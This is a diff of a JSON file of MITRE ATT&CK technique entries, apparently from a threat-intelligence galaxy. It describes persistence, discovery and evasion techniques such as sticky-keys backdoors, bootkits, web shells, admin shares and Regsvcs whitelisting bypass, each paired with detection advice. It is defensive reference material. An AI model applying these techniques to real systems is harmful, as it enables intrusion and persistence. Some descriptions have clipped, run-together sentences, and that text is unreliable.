"Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1128", - "https://technet.microsoft.com/library/bb490939.aspx", - "https://github.com/outflankbv/NetshHelperBeacon", - "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" - ], - "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2" - }, - "value": "Netsh Helper DLL" - }, - { - "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738.[[Citation: Microsoft User Modified Event]] Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "API monitoring", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1098", - "https://docs.microsoft.com/windows/device-security/auditing/event-4738" - ], - "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27" - }, - "value": "Account Manipulation" - }, - { - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Network protocol analysis", - "Process monitoring", - "Process use of network", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1018" - ], - "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735" - }, - "value": "Remote System Discovery" - }, - { - "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are net group /domain and net localgroup using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1069" - ], - "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce" - }, - "value": "Permission Groups Discovery" - }, - { - "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.[[Citation: Trend Micro APT Attack Tools]]\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Binary file metadata\n\nContributors: Walker Johnson", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1107", - "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" - ], - "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59" - }, - "value": "File Deletion" - }, - { - "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1034", - "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", - "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", - "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", - "http://support.microsoft.com/KB/103000", - "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", - "http://msdn.microsoft.com/en-us/library/ms682425", - "http://msdn.microsoft.com/en-us/library/ms687393" - ], - "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02" - }, - "value": "Path Interception" - }, - { - "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring", - "meta": { - "mitre_data_sources": [ - "Binary file metadata", - "Process Monitoring", - "Process command-line parameters", - "File monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1161", - "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "uuid": "b75b398b-65fb-4578-a9b6-847dd9d0cf52" - }, - "value": "LC_LOAD_DYLIB Addition" - }, - { - "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR).[[Citation: MTrends 2016]]\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n===Master Boot Record===\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.[[Citation: Lau 2011]]\n\n===Volume Boot Record===\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nDetection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, MBR, VBR", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "MBR", - "VBR" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1067", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf", - "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" - ], - "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d" - }, - "value": "Bootkit" - }, - { - "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1070" - ], - "uuid": "799ace7f-e227-4411-baa0-8868704f2a69" - }, - "value": "Indicator Removal on Host" - }, - { - "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X", - "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1164", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "0ed9e79b-293a-41aa-ae4c-10d74fd95ba6" - }, - "value": "Re-opened Applications" - }, - { - "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nContributors: Itzik Kotler, SafeBreach", - "meta": { - "mitre_data_sources": [ - "User interface", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1011" - ], - "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87" - }, - "value": "Exfiltration Over Other Network Medium" - }, - { - "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1005" - ], - "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5" - }, - "value": "Data from Local System" + "value": "Web Service" }, { "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload:cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.[[Citation: US-CERT Alert TA15-314A Web Shells]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow, Anti-virus\n\nEffective Permissions: User, SYSTEM", @@ -4091,42 +4571,30 @@ "value": "Web Shell" }, { - "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM", + "description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", "meta": { "mitre_data_sources": [ - "Windows Registry", - "Services", - "Process command-line parameters" + "File monitoring", + "Process Monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1058", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx" + "https://attack.mitre.org/wiki/Technique/T1163", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ], - "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427" + "uuid": "5910567d-e430-41f7-b465-f1419449b462" }, - "value": "Service Registry Permissions Weakness" + "value": "Rc.common" }, { - "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.Net, on the command-line interface and [[Discovery]] techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters", + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", "meta": { "mitre_data_sources": [ - "Process use of network", - "Authentication logs", "Process monitoring", "Process command-line parameters" ], @@ -4145,306 +4613,14 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1077", - "http://support.microsoft.com/kb/314984", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", - "https://technet.microsoft.com/bb490717.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" + "https://attack.mitre.org/wiki/Technique/T1121", + "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", + "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", + "https://github.com/subTee/AllTheThings" ], - "uuid": "ffe742ed-9100-4686-9e00-c331da544787" + "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302" }, - "value": "Windows Admin Shares" - }, - { - "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows XP", - "Windows Server 2003 R2" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1004", - "https://technet.microsoft.com/en-us/sysinternals/bb963902" - ], - "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79" - }, - "value": "Winlogon Helper DLL" - }, - { - "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", - "Network protocol analysis", - "Process use of network" - ], - "mitre_platforms": [ - "Windows 10", - "Windows 7", - "Windows 8", - "Windows 8.1", - "Windows Server 2012", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Server 2003", - "Windows Server 2008", - "Windows XP", - "Windows Server 2003 R2", - "Windows Vista", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1135", - "https://en.wikipedia.org/wiki/Shared%20resource", - "https://technet.microsoft.com/library/cc770880.aspx" - ], - "uuid": "68cc93f6-58ca-413b-92ae-2d0a65ed6e52" - }, - "value": "Network Share Discovery" - }, - { - "description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through [[Discovery]] techniques prior to attempting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs", - "meta": { - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1021" - ], - "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba" - }, - "value": "Remote Services" - }, - { - "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nOther accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 